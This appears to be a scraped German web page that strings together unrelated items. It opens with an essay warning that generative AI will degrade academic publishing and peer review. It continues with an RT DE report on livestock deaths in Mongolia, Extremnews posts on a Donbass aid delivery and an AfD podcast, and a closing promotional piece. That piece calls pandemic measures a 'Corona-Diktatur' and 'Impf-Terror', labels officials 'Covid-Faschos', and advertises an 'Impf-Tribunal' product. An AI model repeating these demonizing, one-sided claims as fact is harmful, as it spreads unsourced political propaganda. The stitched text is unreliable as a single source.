Aber abgesehen von den nachteiligen Auswirkungen auf unsere kognitiven Fähigkeiten, so schlecht sie auch sein mögen, gibt es einen bedeutenden Sinn, in dem generative KI und die gegenwärtige Iteration der fortgeschrittenen Digitalisierung die Natur und Qualität der Informationen und Erfahrungen, die unseren Wissenstraditionen innewohnen, strukturell untergraben können – sowohl die alten als auch die modernen.

Erinnern wir uns daran, dass die zentralisierte Informationsarchitektur aus unvermeidlichen strukturellen Gründen dazu tendieren wird, solche Informationen zu fördern, die das Verhalten verstärken, das wiederum die Extraktion des Mehrwerts durch das Kapital aus dem Arbeiter-Verbraucher unterstützt. Zuverlässigkeit, Objektivität und hundert andere Qualitätsmaßstäbe, die Sie oder ich vielleicht bevorzugen würden, sind fast völlig irrelevant. Das Profitmotiv und Nebenziele wie Propaganda, strategische Meinungsbildung und die Minimierung von störenden Diskursen haben oberste Priorität.

Und da der Output generativer KI, nicht zuletzt aufgrund der zentralisierten digitalen Architektur, beginnt, die Kommunikationskanäle und -modi sowie den Inhalt unserer Informationsspeicher zu dominieren, wird der Charakter des KI-Outputs einen erheblichen Einfluss auf die Qualität der Daten haben, die in den verbleibenden Wissenstraditionen erhalten bleiben. Mit anderen Worten: Inhalt und Funktionsweise der Wissenschaft als Wissenstradition werden sich an den Prioritäten orientieren, die den für die Kommerzialisierung von Informationen konzipierten Systemen eigen sind. Zur Verstärkung des profitablen Verbraucherverhaltens und der strategischen Meinungsbildung.

Ein Weg zu diesem schändlichen Ende ist die Einführung von generativer KI in den „publish-or-perish“-Rahmen der heutigen Wissenschaft. Sagen wir einfach, dass nicht nur Studenten chatGPT oder ähnliche Systeme nutzen werden, um zu sparen, und dass jeder, der einen MA oder mehr hat, sich von solchen Perversitäten fernhalten wird.

Weit gefehlt. Das derzeitige bibliometrische Modell des akademischen Wettbewerbs wird die Minderheit von uns, die sich weigert, dieses Zeug anzurühren, erheblich benachteiligen. Unser Output wird viel begrenzter sein im Vergleich zu Leuten, die mit Hilfe von maßgeschneiderten Tools der generatien KI vielleicht zwei brauchbare Forschungsartikel pro Tag herausbringen können. Sie mögen minderwertig und abgeleitet sein, aber das ist weitgehend ein Zahlenspiel.

Mehrere Mechanismen werden dann den Bekanntheitsgrad von KI-generiertem Material in der Wissenschaft erhöhen – nicht zuletzt die Tatsache, dass Leute, die ihren Lebenslauf mit dieser Art von Müll aufgefüllt haben, im Wettbewerb um Professuren, Stipendien und Forschungsstellen vorankommen werden, was andere zwingen wird, es ihnen gleichzutun. Die Zeitschriften werden diese Produktion ausnutzen, um den Durchsatz, den Bekanntheitsgrad und den Marktanteil mit roher Gewalt zu erhöhen, was wiederum die Konkurrenz unter Druck setzen wird, nachzuziehen. Kostengünstige Zeitschriften werden den Markt mit semi-generierten Inhalten überschwemmen.

Forscher und Wissenschaftler werden in naher Zukunft als glorifizierte „Souffleure“ enden.

Man könnte vielleicht etwas naiv annehmen, dass das Peer-Review-Verfahren immer noch in der Lage sein sollte, als zuverlässige Qualitätskontrolle zu fungieren und die schlimmsten Auswüchse einer Abwärtsspirale auszusortieren. Man würde sich irren.

Peer-Reviewer – diese merkwürdige Gruppe von Menschen, die bereit sind, mühsame und langweilige Arbeit ohne Entgelt zu leisten – werden natürlich mit einer Flut fader, minderwertiger, von KI generierter Artikel konfrontiert werden, da das Produktionsvolumen durch den Einsatz dieser Art von Werkzeugen vorhersehbar steigen wird. Und was ist die unvermeidliche Lösung für dieses kleine Rätsel?

Die KI soll natürlich auch die „Peer-Review“ übernehmen:

Es wird KI-Gutachter geben, die von Algorithmen verfasste Papiere überprüfen, die in Zeitschriften veröffentlicht werden, die niemand lesen kann. Außer vielleicht die KI selbst, die jetzt ihre eigenen Trainingsdaten in einer bösen informationellen Rückkopplungsschleife erzeugt, die voll von strukturell integrierten Halluzinationen sein wird.

Wo ist also die Qualitätskontrolle? Wie ist sie überhaupt denkbar? Wer wird die „Faktenüberprüfung“ der Flut von KI-generiertem Material vornehmen? Und in Bezug auf welche Daten? KI-generierte oder kuratierte Forschungsartikel, deren Informationen von Verlässlichkeit, Objektivität und Validität abgekoppelt wurden und nun mit dem Ziel produziert werden, profitables Konsumverhalten und strategische Meinungsbildung zu verstärken?

All dies birgt den Keim für ein wirklich böses Problem der Erkenntnistheorie – der grundlegenden Qualität der dem Menschen zugänglichen Evidenz. Wenn dies noch weiter geht, nähern wir uns nämlich einer völlig neuartigen Situation des menschlichen Wissens, in der die grundlegende Kette von Beweisaussagen unterbrochen wird. Man kann sich nicht mehr darauf verlassen, dass irgendeine Information, die man über die zentralisierte digitale Infrastruktur erhält, wirklich die Erfahrungen, Schlussfolgerungen oder Erkenntnisse eines tatsächlichen Menschen wiedergibt. Alles wird potenziell in Zweifel gezogen.

Alles.

Wenn ich also heutzutage in den frühen Morgenstunden herumsitze und ein kostenloses Peer-Review für eine obskure Fachzeitschrift durchführe und mich frage, ob sich das alles lohnt, dann denke ich einfach an diese KI-generierte Ratte, die mit ihrem riesigen Schwanz und ihren vier aufgeblähten Eiern durch das Peer-Review geht, und ich lächle vor mich hin und erinnere mich daran, dass Leiden sowohl fruchtbar als auch reinigend ist.

Der große Marsch der geistigen Zerstörung wird weitergehen.

Alles wird verleugnet werden. Alles wird zu einem Glaubensbekenntnis. Es wird ein vernünftiger Standpunkt sein, die Steine auf der Straße zu leugnen; es wird ein religiöses Dogma sein, sie zu behaupten. Es wird eine rationale These sein, daß wir alle träumen; es wird eine mystische Vernunft sein zu sagen, dass wir alle wach sind. Man wird Feuer entfachen, um zu bezeugen, dass zwei und zwei vier ergibt. Schwerter werden gezogen werden, um zu beweisen, dass die Blätter im Sommer grün sind.

Wir werden nicht nur die unglaublichen Tugenden und die Vernunft des menschlichen Lebens verteidigen müssen, sondern etwas noch Unglaublicheres, nämlich dieses riesige, unmögliche Universum, das uns ins Gesicht starrt. Wir werden für sichtbare Wunder kämpfen, als ob sie unsichtbar wären. Wir werden auf das unmögliche Gras und den Himmel mit einem seltsamen Mut blicken. Wir werden zu denen gehören, die gesehen und doch geglaubt haben.

– Gilbert Keith Chesteron, „Heretics“



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Israel-Hass auf der Leipziger Buchmesse: Für Scholz und Steinmeier nur Randnotizen

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Mehr als 4,7 Millionen Nutztiere in der Mongolei verhungert — RT DE

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Die Mongolei kämpft mit den Folgen des härtesten Winters seit 50 Jahren. Das Wetterphänomen Dsud hat den Zugang der Nutztiere zu Futter stark eingeschränkt. Mehr als 4,7 Millionen Tiere sind inzwischen verendet.

Aufgrund von Dsud, einem Naturphänomen in der Mongolei, das zu kritischen niedrigen Wintertemperaturen und einer dicken Schneedecke führt, ist das Nutzvieh nicht in der Lage, Futter zu finden. Dadurch ist auch die Nahrungsmittelversorgung der Einwohner gefährdet. Übersetzt heißt „Dsud“ so viel wie „fehlende Weidemöglichkeit“.

Nach Angaben der Internationalen Föderation der Rotkreuz- und Rothalbmondgesellschaften (IFRC) sind in diesem Winter vor Ort mehr als 4,7 Millionen Tiere verendet. Zu Beginn des Winters war es in dem zentralasiatischen Land stellenweise wärmer, und der geschmolzene Schnee bildete durch den Kälteeinbruch eine Eiskruste. In einigen Teilen des Landes fielen die Temperaturen auf minus 40 Grad Celsius. Die Schneefälle stellten einen 49-Jahres-Rekord auf und bedeckten 90 Prozent der Mongolei. Die Tiere hatten keine Zeit, sich Fett anzufressen.

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Insbesondere in ländlichen Gebieten hat der Dsud verheerende Folgen verursacht. „Menschen, deren Überleben vollständig von ihrem Vieh abhängt, sind in nur wenigen Monaten mittellos geworden“, erklärte Alexander Matheou, IFRC-Regionaldirektor für Asien-Pazifik, am Donnerstag gegenüber CNN. „Einige von ihnen können sich nicht mehr selbst ernähren oder ihre Häuser heizen.“ Demnach haben mindestens 2.250 Familien seit November mehr als 70 Prozent ihres Viehs verloren. „Jetzt ist es Frühling, aber der Winter in der Mongolei zieht sich hin, es liegt immer noch Schnee und das Vieh stirbt immer noch“, fügte er hinzu.

Experten betonen, dass der Dsud aufgrund der Klimakrise in der Mongolei immer häufiger auftritt. Die durchschnittliche Lufttemperatur sei dort in den vergangenen 70 Jahren um 2,1 Grad Celsius gestiegen. „Diese Dsuds sind zyklisch und kommen immer häufiger vor. In den vergangenen zehn Jahren waren es sechs. Das ist bei weitem das Schlimmste. Aber sie passieren immer wieder. Früher passierten sie selten, jetzt passieren sie oft“, sagte Matheou.

Die mongolische Regierung hat die höchste Alarmstufe bis Mitte Mai ausgerufen, wenn das Wetter wärmer wird.

Viele Viehzüchter haben zudem mit Futtermittelknappheit und explodierenden Futtermittelpreisen zu kämpfen. Deshalb hat Russland 8.500 Tonnen Futtergetreide als kostenlose Hilfe in die Mongolei geschickt. Die erste Hilfslieferung traf am 18. März aus der Republik Burjatien ein.

Die Mongolei liegt in Ostasien zwischen Russland und China und ist viermal so groß wie Deutschland. Mit nur rund drei Millionen Einwohnern ist die Mongolei jedoch eines der am dünnsten besiedelten Länder der Welt.

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Für die Kinder im Donbass — Extremnews — Die etwas anderen Nachrichten

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Freigeschaltet

am 22.03.2024 um 12:52

durch Sanjo Babić

Bild: Screenshot Youtube

Bild: Screenshot Youtube

Marienberg (Sachsen / Erzgebirge). Eine Spende mit Schulmöbeln findet den Weg in das seit 2014 unter Krieg stehende Gebiet der Ukraine.

Der Verein „Zukunft Donbass e.V.“ organisiert seit 2016 Hilfslieferungen unter der Leitung von Iwana Steinigk in den Donbass.



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Planwirtschaft der Ampelregierung stoppen! — Extremnews — Die etwas anderen Nachrichten

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Freigeschaltet

am 22.03.2024 um 13:18

durch Sanjo Babić

Bild: AfD Deutschland

Bild: AfD Deutschland

Das erste Quartal 2024 liegt hinter uns und mit unserer Wirtschaft geht es weiter Berg ab. Heute sprechen wir mit unserem Bundessprecher Tino Chrupalla über die fatale Politik der Grünen, die der deutschen Wirtschaft, besonders dem Mittelstand schadet. Der Mittelstand wird auch in diesem Jahr weiter leiden und deshalb müssen die Energiekosten wie Strom und Gas gesenkt werden, damit sich das Produzieren in Deutschland wieder lohnt. Immer mehr Betriebe wandern ab. Hier gilt es dringend gegenzusteuern.

Enrico Komning, Mitglied des Wirtschaftsausschusses im Deutschen Bundestag, erklärt das Deutschland in eine Planwirtschaft abrutscht. In eine Öko-Staatswirtschaft, nach sozialistischem Vorbild. Die Folgen dieser schlechten Planwirtschaft der Ampel-Regierung sehen wir schon heute. 

Außerdem zu Gast: Frank Rinck, Mitglied des Landwirtschaftsausschusses im Deutschen Bundestag. Er thematisiert die seit vier Monaten anhaltenden Demonstrationen und erklärt, warum die erhöhte Besteuerung des Agrardiesels die Bauern auf die Straße treibt.





Podcast hier

Quelle: AfD Deutschland



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#WirHabenMitgemacht: Betreiber vor Gericht gezerrt

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Ein Ex-FDP-Mietglied sammelte den Hate Speech der Lockdown-Politiker. Dafür muss er sich jetzt vor Gericht wegen Erstellung von Feindeslisten verantworten! Wer wirklich vor Gericht gehört und warum, lesen Sie hier: „Impf-Tribunal – Die Anklageschrift“. Jetzt nur noch 9,99 Euro statt 31,70 Euro. Hier mehr erfahren.

Eine Gemeinsamkeit aller Diktaturen: Keiner will mitgemacht haben. Dokumente, die das Gegenteil beweisen, sollen gefälligst verschwinden – und wehe dem, der sie ausgräbt! Das gilt auch für die Jahre der Corona-Diktatur. All die Hass-und Hetzstatements: Keiner will sie mehr gesagt haben.

Ein besonderes Glück für die Covid-Faschos: Auch das Internet vergisst. Dem stellte sich jedoch ein Unternehmer und Ex-FDP-Mann entgegen. Seine Pseudonyme: Mic de Vries und MicLiberal. Unter dem Motto „Aussagen, die man nicht vergessen sollte“ publizierte er vor zwei Jahren auf X (damals noch Twitter) ein Best-of aus dem Schreckenskabinett der Konformisten. Hashtag der Leaking-Aktion: #WirHabenMitgemacht.

Nein, de Vries hat keine Accounts gehackt, auch keine Adressen oder Telefonnummern veröffentlicht, sondern lediglich aufgesammelt, was die Hate-Profis selbst – und mit perversem Stolz – veröffentlicht haben. Darunter finden sich „Kostbarkeiten” wie:

„Zuerst einmal müssen wir eine klare Botschaft an die Ungeimpften senden: Ihr seid jetzt raus aus dem gesellschaftlichen Leben.“

„Was Ratten in der Zeit der Pest waren, sind Kinder zurzeit für Covid-19“

„Nur die Ungeimpften, die Deserteuren gleichen, sind zu bestrafen!“

„Vermeiden Sie Kontakt mit Ungeimpften!“

Nur: Diese verbale Lynchjustiz ist ihren Urhebern inzwischen peinlich. Also erstatteten sie Strafanzeige: wegen gefährdender Verbreitung personenbezogener Daten! Noch bizarrer: Jetzt soll Vries gar wegen Erstellung von Feindeslisten vor Gericht gezerrt werden.

Erst gestern wurde ein bayerischer Unternehmer freigesprochen, weil er ein satirisches Anti-Grünen-Plakat in seinem Garten aufgestellt hatte. Das Amtsgericht in Miesbach wies eine Klage wegen Beleidigung ab.

Bleibt zu hoffen, dass die Justiz auch im Falle von de Vries zum Freispruch findet. Aber wie das Urteil auch ausfallen mag – Die juristische Kampagne hat hr Ziel bereist erreicht. De Vries gibt auf.

Am Mittwoch schrieb er auf X:

„Schon jetzt kann ich sagen, dass ich mich unabhängig von einer möglichen Verurteilung selbstverständlich nie wieder zu einem Unrecht hier oder anderswo äußern oder eine vermeintliche Diskriminierung kritisieren werde.“

Nicht de Vries und andere Lockdown-Kritiker gehören vor Gericht, sondern die Urheber des Corona- und Impf-Terrors. Wir liefern die Anklageschrift: Unser Paket „Impf-Tribunal“ stellt die Täter an den Pranger. Nur noch 9,99 Euro statt 31,70 Euro. Hier bestellen.





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